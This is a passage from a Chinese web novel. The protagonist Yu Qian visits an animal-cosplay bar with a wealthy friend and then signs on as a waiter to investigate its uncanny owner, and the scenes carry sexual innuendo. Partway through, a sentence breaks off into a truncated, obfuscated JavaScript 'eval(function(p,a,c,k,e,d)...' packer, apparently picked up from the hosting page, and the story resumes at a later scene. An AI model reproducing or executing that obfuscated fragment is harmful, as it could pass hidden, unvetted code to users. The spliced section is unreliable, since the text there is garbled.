突然他觉得盖住自己脑袋的睡帽狗耳朵被人拽了拽,于是他头也不回地:“你回来了啊。” 刚刚从楼梯那边走上来的祝臬缩回手,把叠在胳膊上、酒气味比较重的西服放到一旁。 沙发的另一端凹陷下去,尤浅递去一个眼神,发现祝臬临走前做好的发型已经被他蹭得散乱。 他疲倦地往后一靠,扯开贴着他脖子的领带,长吁一口气,眼睛无光地看着天花板:“早知道就不去了,还不如在家里缩在看电视有意思。” “不好玩吗?”尤浅好奇地别过脑袋,把薯片袋往祝臬手边放放。 “咔嚓咔嚓……”祝臬面无表情地咀嚼着咸香的薯片,“话里话外全是试探,弯弯绕绕各种交流的比解不开的毛线团还乱,哦,还有挑拨离间的,真搞笑,问我为什么不继承公司……” 他勾出一抹冷笑:“然后就是些纨绔子弟,凑到我面前聊天聊地。” 尤浅对于祝臬的情况知道一点,但不多,看他如今的表情,也不想去往深了探究。 于是他又掏出两片薯片,边吃边问:“纨绔子弟?” “嗯,不过他们品性还行,虽然只喜欢吃喝玩乐,但是也没碰那些不该碰的。”家里的气味渐渐取代身上沾染的杂味,祝臬的眉目柔和下来,身子也更放松地摊开了。 “哎,他们还约我明天去一个酒吧玩,说什么这家酒吧不一样,里面的服务好,酒也好喝,有种角色扮演的快乐。” 祝臬傲慢地挤出一声哼来:“不就是扮成动物吗?哪有真动物好看,要我说不如去国外王家开的私人动物园逛一圈。” 动物扮演?尤浅觉得听起来有些耳熟。 他敛下目光,翻了翻脑袋里存放回忆的小匣子,找出一副残缺的画面。 在那个高铁上,在身边人的视频外放里,有人提到过这家酒吧。 很出名的样子啊……尤浅用牙齿磨着薯片,群聊里「子孙万千」开始刷屏。 他看着别人看不见的屏幕,想了想,目前还没有下一个分支力量的消息,那应神明地要求去一趟也无妨吧。 于是他拍去手中的渣屑:“为什么不去看看呢?”他歪了歪脑袋,“我有些好奇哎!” “你真想去啊?”祝臬拿薯片的手一顿。 尤浅盯着他的眼睛,重重点头:“是啊,反正在家待着也没什么事情做。” “咔嚓咔嚓……” 祝臬一时间没有说话,而是安静地啃着薯片,等这一袋子薯片吃完,他妥协似地摊开手掌。 “好吧好吧,我这就联系他们。” 尤浅这才收回一直注视他的视线,抱着沙发枕头懒散躺下,随口安慰着提不起兴趣的祝臬:“说不定会有惊喜呢!” 而惊喜也真的来了。 …… 霓虹色的灯光揉出一道五彩斑斓,昏暗的光亮在透明酒杯上游走。 尤浅深邃到足以溺人的桃花眼微微上扬,酒液顺着唇角滑落,淌进他大大咧咧敞开的衣领里,划过裸露锁骨与胸膛,留下一道泛着水光的痕迹。 酒液醇厚夹带点苦与辛辣,他的喉结滚动,一仰首,将这杯琥珀色的液体尽数饮尽,眼尾也被刺激地飞出一抹红晕。 外面劲爆的音乐声音巨大,连包厢门都无法完全阻隔。 在昏暗的灯光下,尤浅漫不经心地瞥过祝臬泛红的耳尖,一路来到坐在他身边、眼角画着蓝绿色蛇纹的女生身上。 随后他又向后将身子陷进软座,挪开眼神,望向身旁头上顶着软蓬蓬兔子耳朵的男孩,语调慵懒,里面带了些挑逗的意味,“我可以摸摸你的耳朵吗?” “哎?”男孩有些无措,他抬手轻轻碰了碰自己的耳朵软毛,挂起羞涩的笑容:“不好意思哎客人,这个耳朵不是很牢固,您可以捏捏我的脸。” 尤浅还没说什么,另外一旁的富二代先急了,他喝的脸红脖子红,觉得兔子男孩地拒绝是不给他面子。 “什,什,嗝……”富二代摇摇晃晃地站起来,“一个兔耳朵而已,有……有什么可宝贵的。” 他醉醺醺地指着男孩旁边的尤浅,特别豪气地拍拍自己胸膛:“钱,多少钱啊?” “瞧,瞧不起爷……是吧?爷,嗝,爷出得起!” 尤浅无辜地睁大眼睛,他的手指在指向谁了,我吗? “不不是,”男孩见人误会,连忙摆手解释,却越解释越乱:“我只是,这个效果,因为是动物主题,所以领班的要是知道我的装扮出错,我我我……” 男孩说道最后,仿佛抑制不住嗓音里的哭腔一样,眼角无助地眨出一滴晶莹剔透的眼泪,符合大多数客人审美的身子灵活一扭,精准无误地投入尤浅怀里。 他揪着尤浅的衣领抽泣着呜咽:“客人,对,对不起……” 尤浅眼也不眨地拨开几乎要挨到他的鼻子、直直指向自己的一根手指,另外一只手搂住男孩瘦弱的脊背,轻轻抚摸像是在宽慰他。 “算了算了,出来玩,大家都开心一点!”尤浅噙着一缕笑意,表面上装出一副怜香惜玉的样子,劝着面前站也站不稳的富二代。 见尤浅不在意,祝臬还算是有义气地从蛇女身上艰难地扯开注意力,心不在焉地跟着劝了两句。 最后富二代被他身旁的猫耳男扶着坐下,继续喝酒。 一时间,包厢里好不快活。 “好了好了,不是什么大事,你没必要这么害怕。”尤浅彬彬有礼地继续安慰道,可他没看见埋在怀里的兔耳男眼里闪过一丝嘲弄。 而兔耳男也不知道,尤浅眼中没有半点他脑补的怜爱。 尤浅自始至终都在观察着在空中一抖一抖的白色耳朵,眼睛里闪烁着蠢蠢欲动。 有钱:红烧,红烧兔头! 他在群聊里激动地发言。 独眼:嗯,咳,他虽然是兔子,但是脑袋还是人类啊,亲爱的,你……你要吃人吗? 子孙万千则拽着身边的腐烂甜果与尤浅如出一辙的激动:“啊啊啊,我也想去这个地方!!” “你给我适可而止一点。”敲钟人的胳膊上爆出青筋,祂一把薅住子孙万千的衣领,压抑着眸子里的愤怒。 尤浅喝了几杯酒,面上显出几分醉来,但神智仍然清醒,就和没喝一样。 包厢门掩盖着外面狂热的音乐,也挡住尤浅想要探查外面的视线。 这一晚上就在消磨时间的狂欢之中度过。 等到天微微亮,东倒西歪的几个富二代抱着脑袋呻吟,尤浅将瘫在沙发上的祝臬拎起了起来,拉着他就往家里走。 一路上,行人稀少,等来接富二代的车子把他们卸到家门口,祝臬仍是一幅晕乎乎的模样。 直到进家门,他也没能清醒,昨天在蛇女的劝解下,他一杯接着一杯,乐呵呵的不像喝酒,倒像是在喝水。 也不怪他今天还没清醒了。 尤浅用手在他眼前晃晃,他眼神呆滞,半响才挪动一下。 “喝傻了吗?”尤浅搬来凳子做到祝臬面前,学着他的状态,呜哩呜啦地放空自己。 很快,他就感到无聊。 于是他把自己这一晚上加一路上想到的注意大大咧咧地说出来。 “我要去酒吧当服务生!”他豪云壮志。 还沉浸在御姐腹黑蛇女那沙哑嗓音,与香醇酒精中的祝臬猛的一哆嗦。 他的眼睛里突然多了几分神采:“什么?”他恍恍惚惚地觉得自己幻听了。 尤浅盯着他那双黑洞洞、有些无神的眼眸,郑重其事地重复一遍:“我要去酒吧当服务生。” 一秒两秒……两分钟过去了,祝臬匪夷所思地张大嘴巴。 “啊?”他搓了搓自己的脸,努力让自己更加清醒:“你要去卖身?”他双指扒着自己因没睡好觉而酸涩的眼睛,把眼皮撑开。 露出的幽深的黑眼珠,和红血丝密布的眼白。 没错,面前的是尤浅,说出这句话的也是尤浅,甚至尤浅的表情还很认真。 “你疯了吗?”祝臬上上下下打量着尤浅:“我没限制你花钱吧?” 他百思不得其解,到底是什么让尤浅想不开的要去酒吧贩卖色相。 虽然尤浅确实长得秀色可餐。 “这不是钱的问题。”尤浅表示上次存进来的那些金钞还没花完。 “那是什么原因?”祝臬更疑惑了。 尤浅竖起手指,神神秘秘地道:“蓝星有一句话说得好,要想查什么东西就要先打入敌人内部,把他们从内部瓦解。” “呵呵……”祝臬扯扯唇角,没去管为酒吧为什么会成为敌人:“不要和我说,你进精神病院也是因为你这个所谓的打入敌人内部。” “嘿,你说对了!就是这样。”尤浅开心地打出响指,翘起左腿,压下面部的情绪起伏,如果不看他的着装,还真是有运筹帷幄的大佬姿态。 祝臬深呼吸:“去死。” 不过最后他还是耷拉着脸,给服装师打电话,提出一系列要求,让她定制一套面料更好、毛毛更柔顺、更逼真的狗耳朵和狗尾巴。 在交代好地址与时间后,祝臬阴着一张脸挂断电话。 尤浅不受影响地打开一包薯片,咔嚓咔嚓地啃得欢快。 “多谢!”他弯起眼眸,露出一抹甜滋滋的笑容。 他在心里乐呵呵的想到,这次祝臬也没有质疑他,没有问他什么问题耶!看来那本书里的教导还是很有用的。 ——在适当的时候展示自己的与众不同,帮助他人解决一些小问题,可以更好的获得话语权与他人的信任。 可惜,不知道为什么对薛琪,薛队长没什么效果…… 沙鲁洼在影子里默默翻身,在它看来,能假装它不存在、自欺欺人的祝臬也挺神奇的。 独眼,独眼已经不想在发表任何相关言论了,祂看着屏幕上阴沉着脸,仿佛下一秒就要抽刀杀人助兴的祝臬,再看看和松鼠一样,库库往嘴里塞薯片的尤浅。 当真是诡异又和谐的一幕。 果然祝臬的思维方式和常人是不一样的吧,独眼暗暗点头。 只有子孙万千,祂鬼鬼祟祟地窝在角落里,闭着眼睛不知道在捣鼓什么。 …… “招倒是招,但是……”睡眼惺忪的老板缓慢地眨了眨眼睛,不知道是不是祝臬的错觉,他总觉得老板的眼瞳在阳光下,有一瞬间变成了类似野兽模样的竖瞳。 老板一身浅绿色开衩旗袍,一双腿修长笔直,头发被白色的发簪松散地挽起,一双凤眸含着困倦的水光,潋滟地撞上尤浅澄澈清亮的眸色。 她染成蓝色的指甲翘在空中,往上勾起尤浅的脸,带着笑意:“多纯真的眼神啊,小弟弟,乖乖地当个富二代不好吗?” “哎……”尤浅知道她起疑心了,所以毫不反抗,他温驯地依着力道露出自己完整的面容,“可是我不是富二代呀?” 他离开老板的手指,矮了矮身子,强行把脑袋靠上祝臬的锁骨与肩膀相连的那处,整个人都缩进祝臬怀里,完全不顾祝臬僵硬的身躯与咯嘣咯嘣一寸寸挪过来的视线。 ——那里面清晰地写满:你在做什么!?之前没说过有这出啊! 尤浅甚至还从里面读出一串感叹号——祝臬在无声地尖叫呐喊。 “噗……”他忍下呼之欲出的笑意,以顽强的戏精职业道德约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽然她身后有靠山,但靠山也不会为了她去得罪祝臬和那帮富二代们。 最终,老板只能半推半就,心不甘情不愿地答应下来:“您太客气了,那如果有客人提出……类似的要求,您这边?” 为了避免什么误会,她隐晦地问了一嘴。 祝臬立刻接道:“凭他自己的意愿吧!” 老板的眼神瞬间微妙起来,但不知道她脑补了什么,瞧向尤浅的目光里带了点极其稀少的同情。 “好,那今天如果方便的话,晚上就让小弟弟来上班吧。” 秉承着演戏演全套,祝臬和尤浅相依相偎地离开,刚上车,司机目不斜视地打火起步,坐在后面的祝臬立马翻出湿纸巾狂擦手和脖子。 他旁边的尤浅不乐意了:“你至于这么嫌弃我吗?” “不是嫌弃……”祝臬擦了一遍犹嫌不足,又扥出好几张来,他想了想:“好吧,就是有些嫌弃,我可是只喜欢小姐姐的人,能帮你圆场你就知足吧,对了,别忘了蛇女的联系方式啊。” 经过昨天一晚上的接触,他宣布,他已经直线掉入爱河了! “知道了知道了。”尤浅摆摆手:“也不知道你这个富二代怎么这么纯情,第一次去酒吧我就不说了,连恋爱也没谈过一次啊?” 尤浅觉得祝臬这种人去他们家乡会活不过一分钟。 因为拥有世界权柄的神明就是生命诞育之神,所以除了那些一辈子都献给神灵的神使外,到了十八岁还没体验过鱼水之欢的人,可是会被怀疑有反叛之心的。 “你不懂。”祝臬斜睨尤浅一眼,很有大人那种成熟稳重气质地叹气。 “未经我允许的人私自碰我,我都会发自内心的恶心,更别提做/爱那档子事了。” 太阳下沉得很快,时间总是在不知不觉中溜走,尤浅仍沉浸在游戏里面,突然,投屏全黑下去,一声角色死亡的惨叫回荡在客厅。 握着手柄的尤浅短促地惊叫出声:“啊!我马上要通关了哎!” “你看看时间,你还要不要去酒吧了?”祝臬一指钟表,他觉得他要是不来提醒,尤浅能和他的手柄一起玩到天昏地暗。 “哦……”尤浅想起自己的任务,挣扎地按了按毫无反应的按键。 最后他依依不舍地看向被关掉的投屏,又亲昵地吻上被他体温捂热的手柄,留恋地摸了摸:“乖乖,等我回来再一起玩。” 然后他就被看不下去的祝臬拖走,一路送到酒吧门口。 赖在后座上的尤浅被祝臬大力推下车,随后他刚刚站稳,就见祝臬在车里扯着冷笑,毫不留情的扔出来一条尾巴一对耳朵。 尤浅抱着这堆东西,看着车“呼”的开走,只有尾气袅袅升腾。 “还真是……迫不及待啊。”尤浅望而生叹。 踏进酒吧的门,就像是度过一层结界,里面的歌声喧哗、缤纷的灯光与外面清凉的夜色、步履匆匆的行人形成鲜明对比。 老板将不属于外界的灯红酒绿埋藏在一间门店,也掩盖了自己真实企图。 尤浅的衣服对比这里大多数人的着装风格,很是朴素,简简单单的白衬衣与牛仔裤让他像是误入的路人。 但正是这么简简单单的衣服,才轻而易举地让人把他当做猎物,自誉为风流浪子的人们在想,或许一杯酒就能骗到一个美妙的夜晚。 尤浅从容的在各色各样的眼神里戴上狗耳朵与狗尾巴。 一时间,投过来的眼神更加肆无忌惮。 穿着简约的青年,那一头金色的短发在灯光下更为璀璨,细碎的光游走在每缕发丝间,让人忍不住想要伸手捕捉。 而在他的左顾右盼里,眉目流转出的都是深情,那双桃花眼最为勾人,可偏偏里面盛着淡淡的疏离。 就连他本人的面部表情也是冷若皎月,端的一副禁欲矜持的模样。 楼梯上的老板轻笑一声,她从阴影里走到灯光下,唇边勾着若有若无的笑容,来到尤浅面前。 周围客人的视线不仅没挪走,反而更多了,很多人都是被老板吸引过来的。 “小弟弟,刚才开业时间到了你都没来,我还以为你反悔了。” 她伸出戴着白色手套的手掌,拉过尤浅的手腕,手指暧昧地贴到他的指缝,凤眼向上一挑,带动着她眼角浅绿色的鳞片也跟着颤动。 “你真的要干这一行吗?我们可是不忌荤素的。” 从上而下的光在她脸上打出斑驳的阴影,为她披上一层莫名笼罩来的危险感。 在布料与肌肤的摩挲间,尤浅注意到,她的体温比平常人要低。 即便是隔了一层布料,那种深入骨髓的冷寒也没有减弱半分。 尤浅动作轻缓自然,借着有礼貌地回话与垂眸,将手抽出来向上摸了摸自己的狗耳朵,然后侧着身子展示随着身子摇晃,还能摆动的狗尾巴。 “这点我是认真的,你看,我连耳朵和尾巴都自己准备好啦!” “也好,那你去后面换身衣服,今天就正式上岗吧。”老板见状,心知再也没有劝阻的可能,于是抬手优雅地扶了扶鬓角,手套的蕾丝边与她黑色发丝交相呼应,更衬出古典的美感。 声也轻轻,调也轻轻,里面酿造的寒雾与冷意在无知无觉地吞噬这片空气。 新来一个人也好,如果能借着他把那群有钱人也……老板笑意盈盈的将打量的目光敛起,且待日后再看看吧。 那个和尤浅有一夜之缘的兔耳男孩向尤浅走来,他好奇地看向尤浅脑袋上的狗耳朵,一副没明白、没搞懂事情发展的模样。 他懵懵地半鞠躬:“客……呃,您请和我来?”话到一半,他才反应过来之后他们就是同事,不再是需要讨好和被讨好的关系。 这一路上,他的目光都很奇怪,时不时的就瞅一眼,瞅还不是光明正大的那种,而是偷偷摸摸、做贼一样。 尤浅就当没看见,大摇大摆地跟着他往前走,反正他没问,那就假装不知道好了。 在绕过调酒师和吧台后,有一道小门,兔耳男孩推开小门,里面是一处储备衣服的储藏间。 地面上和箱子里还有各种不可言说的东西。 虽然都在包装袋中,但子孙万千还是一眼就认出来这都是些什么玩意,毕竟从古至今,这个类型的东西虽说花样百出,但也大差不差。 兔耳男孩熟视无睹地绕过零散杂物,从一个大箱子里翻找出一套和尤浅身上狗耳朵狗尾巴颜色匹配的衣服来。 ——那是一套黑白花的衣服。 他再回头,想招呼尤浅换上,却被他纯澈无邪的眼神与动作惊到。 这也,也太放荡不羁了……兔耳男孩的脸颊覆上一朵红云。